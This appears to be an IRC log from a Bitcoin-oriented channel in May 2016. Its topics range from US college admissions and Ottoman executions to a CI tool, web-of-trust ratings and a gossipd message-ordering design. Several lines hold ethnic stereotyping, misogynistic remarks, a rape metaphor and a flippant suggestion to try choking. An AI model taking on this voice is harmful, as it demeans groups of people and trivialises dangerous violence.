1466769;1463322845;asciilifeform;so the armenians ended up filling all the juicy posts. for a while. 1466770;1463322849;asciilifeform;after which - gas. 1466771;1463322885;asciilifeform;not that quota would have helped. 1466772;1463323054;asciilifeform;the basic unsolvable boojum here is that 'meritocracy' is ultimately a form of buluceala. 1466773;1463323098;asciilifeform;the american college racket illustrates this better than anything else i could think of 1466774;1463323139;asciilifeform;for n00bz: there are really three types of higher ed racket in usa. 1466775;1463323152;shinohai;;;later tell mod6 my tbot can now add/remove tickets, little ugly but working :D 1466776;1463323153;gribble;The operation succeeded. 1466777;1463323178;asciilifeform;one, the largest, is the public unis - most of which originally began as late 19th c. land grants, and formerly taught useful things - agronomy, mining, metallurgy, etc. 1466778;1463323192;asciilifeform;that is where most folks go. incl. asciilifeform. 1466779;1463323209;asciilifeform;another, smaller (people-wise, financially - mega-hedgefunds, as described in l0gz) is the 'privates' 1466780;1463323244;asciilifeform;these are not really schools in the ordinary sense. yes, you can take classes, but it is nearly impossible to flunk, and really admission to, e.g., yale, is equiv. of nomenklatura membership. 1466781;1463323304;asciilifeform;the third type, included here for completeness, is 'spam school', a straight chumpatron perpetrated largely on uppity proles. formerly cornered by places like 'strayer' but now the big boiz are expanding into the market. 1466782;1463323318;asciilifeform;these issue faux 'master degree' in fields like 'homeland security.' 1466783;1463323371;asciilifeform;so knowing all of this, it is quite obvious, the americans do not want a 90%-chinese nomenklatura 20yrs from now. 1466784;1463323410;asciilifeform;they ~will~ have one. it is, to use mircea_popescutronic terminology, simply a question of how thick the spiked club they will be raped with until submitting. 1466785;1463324109;mircea_popescu;http://btcbase.org/log/2016-05-15#1466759 << no they had published their research in 2005, it's just a) nobody saw it and b) it's STILL not fucking published omfg. 1466786;1463324109;a111;Logged on 2016-05-15 13:34 BingoBoingo: Moar MP copycatting https://archive.is/vcvcw 1466787;1463324175;mircea_popescu;do you know what the most read file for the month is, on trilema ? http://trilema.com/wp-content/uploads/2016/04/lit.txt linked from http://trilema.com/2016/files-from-the-war-on-the-web-today-literotica/ 1466788;1463324218;mircea_popescu;but perhaps if you're esl, "made public" means "made privately available to some people who aren't us" or something. god knows everything else means something else, so what the hell's the difference. 1466789;1463324392;mircea_popescu;but anyway, looking forward to more "{Security researchers|IT specialists|Computer experts} with {University of Derp in Derpistan|USG.RedHat.Whatever|The HTTPS Internet} published {Literotica|Fetlife|OkCupid|Ask.fm|Phuctor|whatever} {database|userlist|secret excel codebase} publicly! We don't have a copy because we don't believe in things, we prefer names." 1466790;1463324410;mircea_popescu;at least it won't make alf feel too alone. 1466791;1463324459;mircea_popescu;http://btcbase.org/log/2016-05-15#1466754 << i checked, seems to be fixed. does it self-heal phf or do you have to tickle tits by hand ? 1466792;1463324459;a111;Logged on 2016-05-15 10:32 davout: phf: log doesn't appear to sync properly 1466793;1463324506;phf;manual tit tickling 1466794;1463324510;mircea_popescu;http://btcbase.org/log/2016-05-15#1466760 << disappeared ? 1466795;1463324510;a111;Logged on 2016-05-15 13:37 BingoBoingo: In other BitButtBet lolz https://archive.is/KbCMN 1466796;1463324547;phf;on the bright side it looks like i finally have time to work on some code improvements 1466797;1463324646;mircea_popescu;very good. see that this is a very iffy point of failure, in the sense that the chances to end up an enemy of the people inadvertently are possibly best. seeing the logs incorrect gets ~everyone's defcon level up a notch or two 1466798;1463324761;mircea_popescu;http://btcbase.org/log/2016-05-15#1466767 << and if brass had unmitigated audacity to answer "because the jews educate their women to be sluts, which results in the boys being motivated to think, which means one of them can eat ten of your evanghelical shitheaded sons for breakfast. fix your fucking religion, you're lagging behind the fucking irish, even the negro reinterpretation thereof is more socially productive" (as a fe 1466799;1463324761;a111;Logged on 2016-05-15 14:32 asciilifeform: BingoBoingo: similar situation with 'jew quota' in su. 'officially' it never existed. in practice, any serious institute where the management did ~not~ quietly implement one, would rapidly turn ~80% jew and the brass would have to confront party official asking 'why are you running a synagogue here' 1466800;1463324762;mircea_popescu;w actually did!) would have more or less brought back the burning stake. 1466801;1463324838;phf;i personally prefer logs to be accidentally realtime, but with stronger correctness guarantees, so it's down for a bit, but there's no message loss. otherwise we have a new jersey solution of "check that a111 is in chan before you say things that you don't want lost" 1466802;1463324875;mircea_popescu;phf i agree to the concept. 1466803;1463324916;phf;but seeing the general freak out that happens, i think that i'd rather it was self healing, and a message or two was lost :p 1466804;1463324917;mircea_popescu;you certainly can't put later lines in if earlier lines are missing, that's asking for black eyes. 1466805;1463324925;mircea_popescu;nah. 1466806;1463325066;mircea_popescu;http://btcbase.org/log/2016-05-15#1466771 << it's more complicated. turks believed that it is below the dignity of a warrior (you have to remember - for a stretch about a degree of magnitude longer than "modernity", being the guy who beat up the cows, bipedal or otherwise, and took their shit was the only respectable line of work for a healthy male ; starting with the romans) to learn languages. 1466807;1463325066;a111;Logged on 2016-05-15 14:34 asciilifeform: not that quota would have helped. 1466808;1463325113;mircea_popescu;in their view, strangely mirrored by various other failed warrior castes, such as the manchuku or the usg, translation is a whore's job. 1466809;1463325192;mircea_popescu;this view may even be correct ; but then their inability to maintain abundant, loyal whores is very striking. it's such an obvious point of failure, after all. but hey, not that i don't understand them - the whore will kneel lovingly, but not before every idiot. and being a self-indulgent idiot is so much... easier... and nicer... and pushing yourself so... hmm... is it even compatible with the dignity of warrior ? ain't that 1466810;1463325193;mircea_popescu; what you do to slaves ? 1466811;1463325195;mircea_popescu;and then it blows up. 1466812;1463325277;mircea_popescu;http://btcbase.org/log/2016-05-15#1466772 << no bojum, basic or otherwise. the problem is long solved and the solution well known. i even published it, but you overlooked. 1466813;1463325277;a111;Logged on 2016-05-15 14:37 asciilifeform: the basic unsolvable boojum here is that 'meritocracy' is ultimately a form of buluceala. 1466814;1463325385;mircea_popescu;"The #bitcoin-assets aristocracy is not incompetent. Whether in anyone's estimation others not named are just as or even more competent is immaterial : arbitrariety is not the problem, incompetence is. The #bitcoin-assets aristocracy is not particularly fixed, at least in the sense of it being extensible (in fact the list was 25 names long earlier). Therefore, objections on this line will have to be a lot more refined than si 1466815;1463325385;mircea_popescu;mply "it's undemocratic and therefore bad" or "it's unrepresentative and therefore evil". Reality doesn't work that way." 1466816;1463325444;mircea_popescu;the notion that meritocracy means "EVERY meritous individual" gets a place is buluceala out and out, and has nothing to do with meritocracy. such a socialist rewriting of the concept is an insult to humanity in the first place ; but to sit and wonder why the cardboard cut "in the shape of a car" and with car written on it doesn't take you places... c;mon. 1466817;1463325458;mircea_popescu;meritocracy means that all involved are competent ; not, pointedly not, that all competent are involved. 1466818;1463325491;mircea_popescu;and yesterday's discussion with hanbot diana_coman et all is very apropos : http://btcbase.org/log/2016-05-14#1466552 1466819;1463325491;a111;Logged on 2016-05-14 19:40 mircea_popescu: why ? 1466820;1463325534;mircea_popescu;as phf says, "it's nice to make an effort to see the competent are accidentally included". there's no promise there, nor can be. the only promise is that the shitheads won't long survive. 1466821;1463325626;asciilifeform;mircea_popescu: well no shit. but the usg variant specifically lacks a mechanism for 'you are competent but sorry we're out of jam' 1466822;1463325638;mircea_popescu;hence the jew quotas. 1466823;1463325644;asciilifeform;which is what BingoBoingo's link was about, aha 1466824;1463325678;asciilifeform;the added lolspice is also from usg's inability to admit that, e.g., princeton admission, is ration of nomenklatura membership 1466825;1463325683;asciilifeform;vs 'edyooocashin' 1466826;1463325699;asciilifeform;(which is nominally 'infinite' and 'hyoooman right!1111' etc) 1466827;1463325749;mircea_popescu;and you know, in the endless "protocol vs promise" thing (such as - if you free man from labour, you will get incredible developments in culture and civilisation (promise) ; or else you'll get a horde of decayed re-monkeys (protocol) | respectively "if you include women in the political process, you'll get the fundamental if unobvious points to males, like this one, well included and represented into the public matters (promi 1466828;1463325749;mircea_popescu;se) | you'll get a bunch of http://trilema.com/2016/stfu-attention-whore-culture/ (protocol)) 1466829;1463325805;mircea_popescu;in general it is directly obvious to a woman that "yeah you have a nice cock, but i'm full ty". somehow the point is an egological insult to the healthy male. 1466830;1463325918;asciilifeform;simpler than this, even, usgocracy has no provision for arbitrary cuts. given as anybody arbitrarily excluded from whatever ends up forming interest group, 'pumping his rights', etc. and buluceala. 1466831;1463325919;mircea_popescu;(to ease the work of the research-scientists and chemists of world renown, egology is a husserlian concept.) 1466832;1463325948;mircea_popescu;asciilifeform su had a very similar problem. they all do - turks kinda had to kill all their brothers, including their mother's other sons. 1466833;1463325967;mircea_popescu;notwithstanding that the woman's clintonicity was 2/3 of the reason guy even had a shot at sultanhood. 1466834;1463325998;mircea_popescu;it;s a bitch not more novel and general literary exploration of that conflict has been produced by the oh-so-unignorant west. it's a fucking fascinating situation. 1466835;1463326007;asciilifeform;hey, everybody eats their parents 1466836;1463326010;asciilifeform;one way or another. 1466837;1463326029;mircea_popescu;today is the day you, a healthy, talented, good riding and accomplished poet of a man, go to your mother who is this woman that saved your life as a 3yo and shared all the ups and downs of the past two decades, 1466838;1463326031;asciilifeform;eating siblings is optional, depending on how small is the box you live in. 1466839;1463326040;mircea_popescu;to tell her that well... ima strangle all your babies, you may call me chronos now. 1466840;1463326051;mircea_popescu;asciilifeform note that they never ate the mother. 1466841;1463326075;asciilifeform;only because mother had an ablative coating of spare sultans 1466842;1463326083;mircea_popescu;not at all. 1466843;1463326098;mircea_popescu;i believe the key to understanding ottoman poetry (which, btw, was very accomplished) is in this tension. 1466844;1463326128;deedbot;[» Contravex: A blog by Pete Dushenski] Several surprising things about the Rocky Mountains. - http://www.contravex.com/2016/05/15/several-surprising-things-about-the-rocky-mountains/ 1466845;1463326236;mircea_popescu;and i did not say strangle idly - it was the method for that situation. no idea if you've ever choked anyone but it is a) deeply sexual and b) probably the easiest way to go, outside of freezing, which they had no access to. 1466846;1463326253;mircea_popescu;but otherwise ottoman executions rather eastern in their excruciating approach. 1466847;1463326262;asciilifeform;eh they didn't choke, they strangled 1466848;1463326266;asciilifeform;(as in cut off circulation) 1466849;1463326271;asciilifeform;this was carefully specced 1466850;1463326286;mircea_popescu;asciilifeform well yes. but i don't expect you'd do this in the bedroom, it's bad for the brain. 1466851;1463326294;mircea_popescu;so choking closest experience. imo it carries. 1466852;1463326307;asciilifeform;fair 1466853;1463326325;asciilifeform;the turks did it with a bowstring though, not bare hands 1466854;1463326331;asciilifeform;so not so sexy 1466855;1463326339;asciilifeform;two strong blokes pulling each end. 1466856;1463326340;mircea_popescu;tryitsometime 1466857;1463326388;asciilifeform;relatedly, i was reading a thing re 19th c performers, and one of the tricks lost to modernity is the sport hanging 1466858;1463326399;asciilifeform;where folks would string themselves up, properly, with a noose, and (most of the time) live 1466859;1463326405;asciilifeform;bouncing to and fro. 1466860;1463326430;asciilifeform;to epic roar of crowds. 1466861;1463326447;mircea_popescu;asciilifeform not entirely lost. much to my shock and awe, was recently in an oglaf! 1466862;1463326454;asciilifeform;yeah i recall. 1466863;1463326457;asciilifeform;but only there. 1466864;1463326457;phf;w.s. burroughs wrote about that one a bunch (he had a general obsession with hanging) 1466865;1463326497;mircea_popescu;the problem there is, well... "what's the best way to jack off ?" "eh, get kournikova to do it." 1466866;1463326519;asciilifeform;aboard dirigible, naturally 1466867;1463326522;mircea_popescu;hanging, what's that, couldn't find someone that'd care enough ? 1466868;1463326553;asciilifeform;i always found austro-hungarian hanging to be interesting 1466869;1463326561;asciilifeform;does everybody know what this was ? 1466870;1463326571;phf;details plx 1466871;1463326584;mircea_popescu;asciilifeform you know, well i dunno if you know or not, but anyway - at the same time women contemplating a career in porn were more than willing to shoot a few features for the more respectable sites ~for free, because they gained popularity and a stamp of quality. 1466872;1463326589;asciilifeform;the kind where the rope is perhaps an arm long, and the hangman has to twist yer head just-so to snap it, using rope as a fulcrum 1466873;1463326604;mircea_popescu;~same thing was reprised with the "leaked" "sex tapes" by proletariat whores, aka "pop singers" 1466874;1463326627;mircea_popescu;anyway : as i watched the woman be in 50% of the shots and never ever win anything, it occured to me that maybe she's doing the same thing, only much better ? 1466875;1463326637;mircea_popescu;i never pursued the matter and by now i guess she'd be old. but anyway. 1466876;1463326701;*;asciilifeform is too thick to see the connection 1466877;1463326711;mircea_popescu;maybe you don't need a dirigible ? 1466878;1463326741;asciilifeform;it is almost at the level of postulate, that folks who have dirigible are those who don't need. 1466879;1463326759;mircea_popescu;well no, if she's working she's working, save for a few months and get a proper handjob. 1466880;1463326801;asciilifeform;i thought mircea_popescu specifically explained that this is not how pro grade whores work ? 1466881;1463326833;asciilifeform;that it is more like buying plutonium than milk 1466882;1463326837;asciilifeform;i.e. you gotta 'be someone.' 1466883;1463326863;mircea_popescu;anyway, review the woman's record, she smells like a fixed up wonder from a mile away. "you can't fix the champ", sez rod steiger. she never lost... to anyone outside of the tops. 1466884;1463326872;mircea_popescu;if the ru mob had any brains, she'd have been exactly that, inna.ru 1466885;1463326932;mircea_popescu;oh nm, birdy sez she married.... wait for this one... enrique iglesias! 1466886;1463326935;mircea_popescu;bnwahjahaha o lordy. 1466887;1463326972;*;asciilifeform in the depths of his pit, has heard of none of these people 1466888;1463327002;mircea_popescu;son of julio ; a sort of latino michael. they still trot him out, propped against some wood and a chick or two to sell perfume or w/e 1466889;1463327061;mircea_popescu;http://btcbase.org/log/2016-05-15#1466778 << aaahahahaha what, alf went to agricultural college ?! dudewhat, like the kursk state agricultural academy ?! 1466890;1463327061;a111;Logged on 2016-05-15 14:39 asciilifeform: that is where most folks go. incl. asciilifeform. 1466891;1463327070;asciilifeform;u. of md. 1466892;1463327090;mircea_popescu;justabout ? 1466893;1463327094;mircea_popescu;how's the party scene 1466894;1463327095;asciilifeform;it, like all of the others, was originally an agronomic thing, eons ago. and there are still signs of it everywhere 1466895;1463327105;asciilifeform;mircea_popescu: today there is precious little left but for the party. 1466896;1463327124;asciilifeform;these are generally a snore imho. 1466897;1463327132;mircea_popescu;if i had parents not only idiotic enough to insist i get a degree but actually brain-manged enough to do this in the us, i'd have gone to arizona u. definitely. 1466898;1463327206;asciilifeform;but yes, they still have a good chunk of campus devoted to animals, and fields for 'test crop', etc. 1466899;1463327213;asciilifeform;even a motherfucking beehive. 1466900;1463327286;mircea_popescu;few summers back, took girls to field to observe beehives and other such orchard lovely things. motherfucking bee came out of nowhere, stung me in the ear. 1466901;1463327322;asciilifeform;happenz 1466902;1463327359;asciilifeform;i can walk into my back yard right now and get stung by 7 types of insect. 1466903;1463327360;mircea_popescu;that bee had it in for me. 1466904;1463327362;asciilifeform;in one evening. 1466905;1463327382;asciilifeform;we even have something called a 'ground wasp' here 1466906;1463327393;asciilifeform;it comes out of burrow and machineguns your feet 1466907;1463327395;asciilifeform;repeatedly 1466908;1463327413;asciilifeform;even goes through socks 1466909;1463327427;mircea_popescu;evil. 1466910;1463327436;asciilifeform;these lands, they be cursed. 1466911;1463327587;mircea_popescu;so tuition is by now like 50k a year huh. 1466912;1463327636;asciilifeform;approx. 1466913;1463327640;asciilifeform;and this is the 'cheap' sort. 1466914;1463327662;mircea_popescu;nah, it's the expensive sort. upenn et co. the cheap sort do 10k instate-20-odd k out of state. exactly like a community/agricollege. 1466915;1463327672;asciilifeform;iirf those turned into 50. 1466916;1463327674;asciilifeform;*iirc 1466917;1463327681;mircea_popescu;i'm looking at teh data. 1466918;1463327685;asciilifeform;md was a 10/20 a decade ago. 1466919;1463327716;mod6;<+shinohai> ;;later tell mod6 http://ephemeralp2p.durazo.us/42bb769b817d7b02f237f1754ab7c1287880dc59547f30af28208ff21a3caff6 << ahh cool! what's it do? 1466920;1463327744;shinohai;hold on I'll bring it to ur chan 1466921;1463327753;mod6;<+shinohai> ;;later tell mod6 my tbot can now add/remove tickets, little ugly but working :D << ah, ok. are you wanting to take yours all the way? 1466922;1463327773;mod6;what i also want to build is a CI thingy for trb 1466923;1463327789;shinohai;just as a backup at least cuz i love t so much 1466924;1463327814;mod6;someone drops in their vpatch somewhere, it verifies that it doesn't have to be rebased, then spins up an instance somewhere and builds the full orchastra, and then runs tests against it. 1466925;1463327820;mod6;automagically. 1466926;1463327837;mircea_popescu;that sounds pretty spiffy. large job tho 1466927;1463327841;asciilifeform;neato 1466928;1463327850;asciilifeform;but sorta duplicates the things that you gotta do on your end anyway 1466929;1463327854;asciilifeform;when writing a patch 1466930;1463327855;mod6;yeah, bunch of stuff there. something to work towards. 1466931;1463327879;mod6;yah, but this verifies stuff for historical purposes and helps regression test a bit. 1466932;1463327891;mircea_popescu;http://btcbase.org/log/2016-05-15#1466784 << not that they've not earned it, but as far as i'm concerned tmsr is here to take a bite out of that market. 1466933;1463327891;a111;Logged on 2016-05-15 14:43 asciilifeform: they ~will~ have one. it is, to use mircea_popescutronic terminology, simply a question of how thick the spiked club they will be raped with until submitting. 1466934;1463327894;mod6;everyone should do these things on their own. 1466935;1463327898;mod6;but... still. 1466936;1463327915;mircea_popescu;yeah, it's good mod6 1466937;1463327986;mod6;<+shinohai> just as a backup at least cuz i love t so much << ok no worries then, just wanna ensure we're not duplicating work and what not. 1466938;1463328189;mod6;ok. 1466939;1463328249;mod6;if anyone has some interesting in working on a CI project with ole mod6, lemme know. it'll take some doing, but it could be pretty worthwhile. 1466940;1463328258;mod6;it should be that anyone in L1 can use it really. 1466941;1463328304;mod6;anyone outside can get their vpatch "sponsored" after review & needsRebase returns false 1466942;1463328353;mircea_popescu;:D 1466943;1463328360;mircea_popescu;check that out. 1466944;1463328370;shinohai;Excellent work this month tho mod6 1466945;1463328413;mod6;o7 1466946;1463328471;mod6;im ciked that phuctor is crushing keys while i sleep, ride the train, eat a sandwich 1466947;1463328644;mod6;i wanna write a snarffer for this http://phuctor.nosuchlabs.com/rss that tweets these things out 1466948;1463328677;mircea_popescu;not that much of a priority. let them read the logs, what. 1466949;1463328698;mod6;was thinking it'd be neat to cross-ref the email to some live twitter acct and tag 'em 1466950;1463328741;mircea_popescu;imo going the wrong way. 1466951;1463328751;asciilifeform;^ 1466952;1463328752;mircea_popescu;point's been made, let em stew in denial now for a little bit, we come back to it later. 1466953;1463328767;mircea_popescu;you don't argue uphill with a dumbass. you just smack him now and again. 1466954;1463328770;asciilifeform;twatter will close the acct for 'abuse' and work - wasted. 1466955;1463328773;mod6;like this guys email: Alan Cox ; goes to: https://twitter.com/etchedpixels (probably) 1466956;1463328787;mircea_popescu;seriously, much better things to do with your time. 1466957;1463328800;mircea_popescu;not that the idea is without merit, or technologically uninteresting. but the move is politically inexpedient. 1466958;1463328839;mod6;fair enough 1466959;1463328985;danielpbarron;;;later tell jurov may I please get some coppers today? 1466960;1463328986;gribble;The operation succeeded. 1466961;1463329530;shinohai;BingoBoingo: http://i.4cdn.org/b/1463329268243.png 1466962;1463330680;asciilifeform;was BingoBoingo into this subj yet when we did the crematorium thread ? 1466963;1463330696;asciilifeform;(somewhere deep in the logz...) 1466964;1463330815;jurov;danielpbarron: depends on how much of some 1466965;1463331066;danielpbarron;at least 100 mn 1466966;1463331108;mircea_popescu;this'll be a heated auction i take it ? 1466967;1463331115;mircea_popescu;jurov noob also wanted some fwis. 1466968;1463332613;jurov;in any case, i need refill, can be 10BTC again 1466969;1463332779;mircea_popescu;jurov will do. trade in game ? 1466970;1463332789;jurov;y 1466971;1463333154;shinohai;jurov btw i finally made account, how to add qntra ? 1466972;1463333228;jurov;shinohai: you send me gpg signed request to add all your qntra shares to coinbr account X , and if you want, to do it automatically from now on 1466973;1463333341;shinohai;kk thanks! 1466974;1463333548;deedbot;[Trilema] The Eastern "RPG" - http://trilema.com/2016/the-eastern-rpg/ 1466975;1463336561;shinohai;;;later tell jurov http://ix.io/ENz 1466976;1463336562;gribble;The operation succeeded. 1466977;1463337424;jurov;shinohai: done 1466978;1463337439;shinohai;ty jurov! <3 1466979;1463340105;mircea_popescu;and in other funs, http://67.media.tumblr.com/0b7e4f815bc4a7e80d0ba6595bbd208a/tumblr_mwncsxcdli1smo4l7o1_400.gif 1466980;1463340241;mircea_popescu;these "forensic experts" identifying "the wallet addresses used by the hackers" are such experts indeed. 1466981;1463340961;shinohai;$rated jurov 1466982;1463340962;deedbot;shinohai has not rated jurov. 1466983;1463340972;shinohai;$rate jurov 2 coin.br 1466984;1463340978;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/0da406e5-be3e-40c8-af08-95fde7ace07a/ 1466985;1463341019;shinohai;$v 484EC527405FBC53F0C03795D9F6C2716ED2FEC0A6DD24ED572297E7A5BFDA57 1466986;1463341020;deedbot;shinohai rated jurov 2 << coin.br 1466987;1463362606;BingoBoingo; http://btcbase.org/log/2016-05-15#1466760 << disappeared ? << Didn't load, hence lulz 1466988;1463362606;a111;Logged on 2016-05-15 13:37 BingoBoingo: In other BitButtBet lolz https://archive.is/KbCMN 1466989;1463362622;mircea_popescu;oh 1466990;1463362988;BingoBoingo; we even have something called a 'ground wasp' here << easy to get rid of 1466991;1463363109;BingoBoingo;mircea_popescu: Errored out on loading, but basically they closed the DAOscam bet early with a refund. 1466992;1463363156;mircea_popescu;oh 1466993;1463363717;asciilifeform;http://btcbase.org/log/2016-05-16#1466990 << land mine also 'easy to get rid of' 1466994;1463363717;a111;Logged on 2016-05-16 01:43 BingoBoingo: we even have something called a 'ground wasp' here << easy to get rid of 1466995;1463363742;BingoBoingo;asciilifeform: Do you know where thier hole is? 1466996;1463363755;asciilifeform;nope 1466997;1463363771;asciilifeform;nor how many, wtf, srsly 1466998;1463364106;BingoBoingo;Anyways once you find their holes pour a bit of gasoline down there and then plug the hole with dirt. 1466999;1463364184;mircea_popescu;best party they ever had huh 1467000;1463364240;BingoBoingo;yeah 1467001;1463364255;BingoBoingo;no underground fire required 1467002;1463364410;BingoBoingo;or there's commercial off the shelf aerosol foams that do the same thing, but that's basically the formula. Or do left coasters just let the ground wasps be? 1467003;1463364583;BingoBoingo;lol http://qntra.net/2016/05/bitcoin-fork-core-plans-to-open-up-contribution-process/#comment-58555 1467004;1463364625;*;BingoBoingo ought to just seriously start WoT lawncare service 1467005;1463365229;deedbot;[Trilema] All my sons - http://trilema.com/2016/all-my-sons/ 1467006;1463373770;BingoBoingo;http://oglaf.com/oriel/ 1467007;1463399712;shinohai;Now preserved on deedbot: http://wiki.deedbot.org/Best%20of%20MPOE-PR 1467008;1463399930;shinohai;$rated trinque 1467009;1463399933;deedbot;shinohai rated trinque 1 at 3650630430 << Thanks for the help w/ Gentoo 1467010;1463399953;shinohai;$rate trinque 2 http://wiki.deedbot.org/ 1467011;1463399990;deedbot;Get your OTP: http://wotpaste.cascadianhacker.com/r/d6268de9-077f-4ab7-b68d-6ba6af42c138/ 1467012;1463400054;shinohai;$v 74F71E6F46DED7928F1F7847FECA68399346703155CE6A676A7496146460A9AF 1467013;1463400057;deedbot;shinohai updated rating of trinque from 1 to 2 << http://wiki.deedbot.org/ 1467014;1463402596;davout;"So for your Christopher Columbo detective skills, bravo, partially exposed for no reason, angry, sociopath lady!" <<< win 1467015;1463402630;davout;this guy has it: "Just start a new one. Call yourselves "the official foundation", register a domain and go." 1467016;1463402654;davout;(from https://bitcointa.lk/threads/calling-out-the-bitcoin-foundation-scam.273069/) 1467017;1463403435;mircea_popescu;http://btcbase.org/log/2016-05-15#1466633 << there's nothing wrong with this "argumentum ad meta" per se. it's like two people, call them vincent and jules, riding down the street, and discussing whether houses they pass have or haven't a cellar. in principle, any house may or may not have one, and in principle one may be larger than an airport lot or large enough for http://65.media.tumblr.com/85c5637a36c690fa13df1d1f6042a96 1467018;1463403435;a111;Logged on 2016-05-15 00:03 asciilifeform: i love it when mircea_popescu takes 'my' traditional side in argument - e.g., as seen here, argument ad metacocksucknsa 1467019;1463403436;mircea_popescu;d/tumblr_nefwzj0DU81tyw73vo1_1280.jpg 1467020;1463403453;mircea_popescu;yet some general considerations are possible. like, if the house's in a swamp, safe bet it has none. stuff like that. 1467021;1463403471;mircea_popescu;it doesn't ever speak to the PRINCIPLE of the cellar, however. it's always a discussion of the circumstances of the house. 1467022;1463403779;mircea_popescu;davout ahhh, memory lane. 1467023;1463403887;mircea_popescu;can't believe how much hanbot 's shirt bothered teh free & teh brave interneteer community. 1467024;1463404022;mircea_popescu;one of these days i should get a client that's not retarded enough to split urls. 1467025;1463404044;asciilifeform;mircea_popescu: might have to write it yourself 1467026;1463404050;asciilifeform;(i don't know of one) 1467027;1463404061;mircea_popescu;i was thinking, "and hopefully it's called gossipd" 1467028;1463404123;asciilifeform;well actually you need an irc client to operate (my draft of) gossipd 1467029;1463404128;asciilifeform;because i am not writing motherfucking guis. 1467030;1463404143;asciilifeform;it eats irc on localhost end. 1467031;1463404145;mircea_popescu;lol. i thought python had guis out the ying-yang 1467032;1463404152;asciilifeform;lel 1467033;1463404167;asciilifeform;what next, line-speed crypto in perl also. 1467034;1463404233;mircea_popescu;anyway. nothing wrong with that split. i guess eventually "Sane irc client" will be a project. 1467035;1463404244;asciilifeform;right next to 'sane os' on shelf 1467036;1463404310;mircea_popescu;not nearly the same weight, these two 1467037;1463404318;asciilifeform;you would be surprised. 1467038;1463404321;mircea_popescu;anyway, how are you enjoying life as a free agent ? 1467039;1463404337;asciilifeform;still waiting for my briefing, lulzily 1467040;1463404351;mircea_popescu;asciilifeform hot damn, your idea of the irc protocol as implemented'd better not require an irc client the size of an os! 1467041;1463404359;asciilifeform;mircea_popescu: standard client 1467042;1463404371;mircea_popescu;that's what i mean. 1467043;1463404640;asciilifeform;irc is an ancient and simple protocol, and has pretty much 1 serious flaw 1467044;1463404647;asciilifeform;that is theoretically fixable via plugin (znc) 1467045;1463404653;asciilifeform;namely, inability to backdate messages 1467046;1463404678;mircea_popescu;should be resolved through pfs not through znc 1467047;1463404691;asciilifeform;what's pfs 1467048;1463404704;mircea_popescu;perfect forward secrecy :D 1467049;1463404723;asciilifeform;i dun see how. 1467050;1463404732;mircea_popescu;anyway. messages should be ordered by protocol, through the fact you can't decrypt the latter without the former. 1467051;1463404769;asciilifeform;this is a Bad Idea 1467052;1463404775;asciilifeform;elementarily ddosable by enemy 1467053;1463404781;asciilifeform;who can deny you one single packet 1467054;1463404791;asciilifeform;and perma-hose you until whatever next reset. 1467055;1463404799;mircea_popescu;i'd rather know someone can deny my packet. 1467056;1463404804;mircea_popescu;so we can route around that. 1467057;1463404808;mircea_popescu;gossipd is not server-client 1467058;1463404814;asciilifeform;well sure 1467059;1463404817;mircea_popescu;well so then. 1467060;1463404864;mircea_popescu;it'll give the "get the fuck out of the boondocks" some very real bite. 1467061;1463404867;asciilifeform;not very carrierpigeon-friendly. 1467062;1463404880;mircea_popescu;"bitch, you wanna live in the us, well... learn to ham radio then i guess ?" 1467063;1463404889;asciilifeform;my version works over message-in-a-bottle 1467064;1463404927;mircea_popescu;note that there's no hard limit here. suppose, and again, this is just a blackboard mock-up, not a technical implementation : 1467065;1463404946;mircea_popescu;message contains 10 keys. rule is that you use the lowest. 1467066;1463404957;mircea_popescu;then if i get a message with 3rd key and none with 1 or 2, i put it first 1467067;1463404968;mircea_popescu;if later i get a message with key 1, i put it before the 3rd key one. 1467068;1463404981;mircea_popescu;sort-of like tree-based rather than linear scheme 1467069;1463405000;mircea_popescu;(this being a problem first encountered by monks with books) 1467070;1463405008;*;asciilifeform brb, food 1467071;1463406221;shinohai;;;later tell BingoBoingo http://ix.io/F6i 1467072;1463406222;gribble;The operation succeeded. 1467073;1463406284;phf;asciilifeform: ircv3 supports backdating (as well as "batch" message spool). i've hacked together backdating for erc, since znc supports it for spooling missed messages, but clients like irssi support it out of the box 1467074;1463406294;phf;http://ircv3.net/irc/ 1467075;1463406727;mircea_popescu;actually, let me go into detail, why the hell not. ("because derps stalk the logs for examples of how x doesn't understand y" "and ?" "myeah.") 1467076;1463406764;mircea_popescu;so : the genesis message, ie, the first communication between a pair (gossipd is a pairwise comms mechanism) includes 10 keys. 1467077;1463406798;mircea_popescu;message A (G3) shows up, if no A(G1) or A(G2) is present, it goes in first. if A(G1) shows up later, it goes before A(G3). which means the list gets reordered. 1467078;1463406825;mircea_popescu;then at the next level, if B(A5(G3)) shows up, it goes in next. 1467079;1463406875;mircea_popescu;once B(A3(G3)) shows up, it goes obviously before B(A5(G3)), so the list is now {A(G1) ; A(G3) ; B(A3(G3)) ; B(A5(G3))} 1467080;1463406929;mircea_popescu;if at this point a B(A8(G1)) should show up, it should be sorted somewhere in the list. but where ? 1467081;1463406958;mircea_popescu;this, i believe, should be a setting exposed to the user. wherever the fuck he wants it to be sorted. 1467082;1463406977;mircea_popescu;could have hard-lowest-level-first sortage, so it goes before A(G3) because it's off G1. 1467083;1463407018;mircea_popescu;could have a binary or decimal scheme where 3 * 2^1 + 5 is compared with 1 * 2 ^ 1 + 8 1467084;1463407043;mircea_popescu;in any case, however the list may be sorted by the peer, ITS peers get the list as it has it at that point. 1467085;1463407394;mircea_popescu;and if in THAT conversation it uses C(B1(A1)) to transmit {A(G1) ; A(G3) ; B(A3(G3)) ; B(A8(G1)) ; B(A5(G3))} then that's that. 1467086;1463407454;mircea_popescu;as a side-effect, the ability to extract political time out of this arrangement reduces to being well connected to well connected nodes that are connected to well connected nodes etc. 1467087;1463407498;mircea_popescu;similarily, the ACTUAL order of message, and the presence or absence of "j/k" messages in there can a) never be established beyond reasonable doubt and b) can only be usefully guessed by people. which is to say, well connected, intelligent nodes. 1467088;1463407504;mircea_popescu;which is what gossipd is supposed to be. 1467089;1463408651;mircea_popescu;so, to belabour this point : if users are u1, u2, u3 and u4 ; 1467090;1463408651;mircea_popescu;and in the relationship u1-u2 G is "Hai u2 howru" and then A1(G) is "fine ty.", and A5(G) is "urmom's a ho!" and A9(G) is "lol j/k", 1467091;1463408651;mircea_popescu;whereas in the relationship u3-u2 G is "Hello u2" and A1(G) is "Hi!" and B1(A1(G)) is "How goes ?" and C1(B1(A1(G)))) is 1467092;1463408651;mircea_popescu;"Hai u2 howru 1467093;1463408652;mircea_popescu;urmom's a ho! 1467094;1463408654;mircea_popescu;lol j/k 